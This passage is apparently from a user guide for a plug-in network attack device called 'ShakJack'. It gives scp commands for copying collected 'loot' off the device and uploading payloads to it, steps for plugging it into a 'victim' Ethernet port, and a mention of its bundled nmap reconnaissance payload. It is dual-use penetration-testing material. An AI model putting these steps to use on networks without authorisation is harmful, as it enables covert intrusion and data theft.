• To save all loot locally, run: scp -r root@172.16.24.1:/root/loot/* .
• To upload a new payload, run scp payload.sh root@172.16.24.1:/root/payload/

Conducting an Attack

2. Plug device into victim Ethernet port, watch LED's blink
3. Once LED turns off, unplug device and switch to off

Out-of-the box, the ShakJack comes with an nmap payload, useful for initial network reconnaissance
